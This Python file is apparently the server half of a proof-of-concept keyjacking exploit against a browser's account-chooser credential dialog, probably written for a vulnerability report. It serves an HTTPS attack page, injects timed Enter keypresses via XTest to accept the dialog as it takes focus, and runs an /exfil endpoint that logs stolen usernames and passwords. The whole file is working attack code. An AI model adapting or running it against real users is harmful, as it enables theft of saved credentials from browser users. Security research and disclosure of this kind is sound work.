#!/usr/bin/env python3
"""HTTPS server + XTest key injector for the account-chooser keyjacking POC.

Serves poc.html on https://*:8443/. When the page POSTs /about-to-prompt
(just before calling navigator.credentials.get), this server waits a short
delay for the tab-modal AccountChooserDialogView to appear and then injects
an Enter keypress via XTestFakeKeyEvent. This simulates the victim pressing
Enter immediately after the dialog steals focus.
"""
import ctypes
import http.server
import os
import ssl
import subprocess
import sys
import threading
import time
import urllib.parse

PORT = 8443
HERE = os.path.dirname(os.path.abspath(__file__))
CERT = os.path.join(HERE, 'cert.pem')
KEY = os.path.join(HERE, 'key.pem')

# --- XTest key injection ---------------------------------------------------

_libX11 = ctypes.CDLL('libX11.so.6')
_libXtst = ctypes.CDLL('libXtst.so.6')
_libX11.XOpenDisplay.restype = ctypes.c_void_p
_libX11.XOpenDisplay.argtypes = [ctypes.c_char_p]
_libX11.XKeysymToKeycode.restype = ctypes.c_uint
_libX11.XKeysymToKeycode.argtypes = [ctypes.c_void_p, ctypes.c_ulong]
_libXtst.XTestFakeKeyEvent.argtypes = [ctypes.c_void_p, ctypes.c_uint,
                                       ctypes.c_int, ctypes.c_ulong]
_libX11.XFlush.argtypes = [ctypes.c_void_p]

XK_Return = 0xff0d

_display = _libX11.XOpenDisplay(None)
if not _display:
    print('[server] ERROR: cannot open X display', file=sys.stderr)
    sys.exit(1)
_keycode_return = _libX11.XKeysymToKeycode(_display, XK_Return)
_xtest_lock = threading.Lock()


def press_enter():
    with _xtest_lock:
        _libXtst.XTestFakeKeyEvent(_display, _keycode_return, 1, 0)
        _libX11.XFlush(_display)
        time.sleep(0.02)
        _libXtst.XTestFakeKeyEvent(_display, _keycode_return, 0, 0)
        _libX11.XFlush(_display)


def schedule_enter(initial_delay_s, count, gap_s):
    def run():
        time.sleep(initial_delay_s)
        for i in range(count):
            t = time.time()
            print(f'[server] XTest Enter #{i} at {t:.3f}', flush=True)
            press_enter()
            time.sleep(gap_s)
    threading.Thread(target=run, daemon=True).start()


# --- HTTP handler ----------------------------------------------------------

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def log_message(self, fmt, *args):
        print('[server] %s' % (fmt % args), flush=True)

    def do_POST(self):
        if self.path == '/about-to-prompt':
            length = int(self.headers.get('Content-Length', '0') or 0)
            if length:
                self.rfile.read(length)
            print(f'[server] /about-to-prompt at {time.time():.3f} -> '
                  f'scheduling Enter keypresses', flush=True)
            # Send discrete (non-repeat) Enter presses starting almost
            # immediately and spaced 40ms apart. The dialog appears after
            # the async password-store fetch (~tens of ms); whichever press
            # lands first after the dialog steals focus will be well inside
            # the 500ms InputEventActivationProtector window. If key events
            # were time-gated, all presses in that window would be ignored.
            schedule_enter(initial_delay_s=0.05, count=20, gap_s=0.04)
            self.send_response(204)
            self.end_headers()
        else:
            self.send_error(404)

    def do_GET(self):
        if self.path.startswith('/exfil'):
            qs = urllib.parse.urlparse(self.path).query
            params = urllib.parse.parse_qs(qs)
            user = params.get('u', [''])[0]
            pwd = params.get('p', [''])[0]
            print(f'[server] *** EXFILTRATED CREDENTIAL: id="{user}" '
                  f'password="{pwd}" ***', flush=True)
            self.send_response(204)
            self.end_headers()
            return
        return super().do_GET()


def ensure_cert():
    if os.path.exists(CERT) and os.path.exists(KEY):
        return
    subprocess.check_call([
        'openssl', 'req', '-x509', '-newkey', 'rsa:2048', '-nodes',
        '-keyout', KEY, '-out', CERT, '-days', '7',
        '-subj', '/CN=example.com',
        '-addext',
        'subjectAltName=DNS:*.example.com,DNS:example.com,DNS:localhost',
    ])


def main():
    ensure_cert()
    httpd = http.server.ThreadingHTTPServer(('0.0.0.0', PORT), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    print(f'[server] listening on https://0.0.0.0:{PORT}/', flush=True)
    httpd.serve_forever()


if __name__ == '__main__':
    main()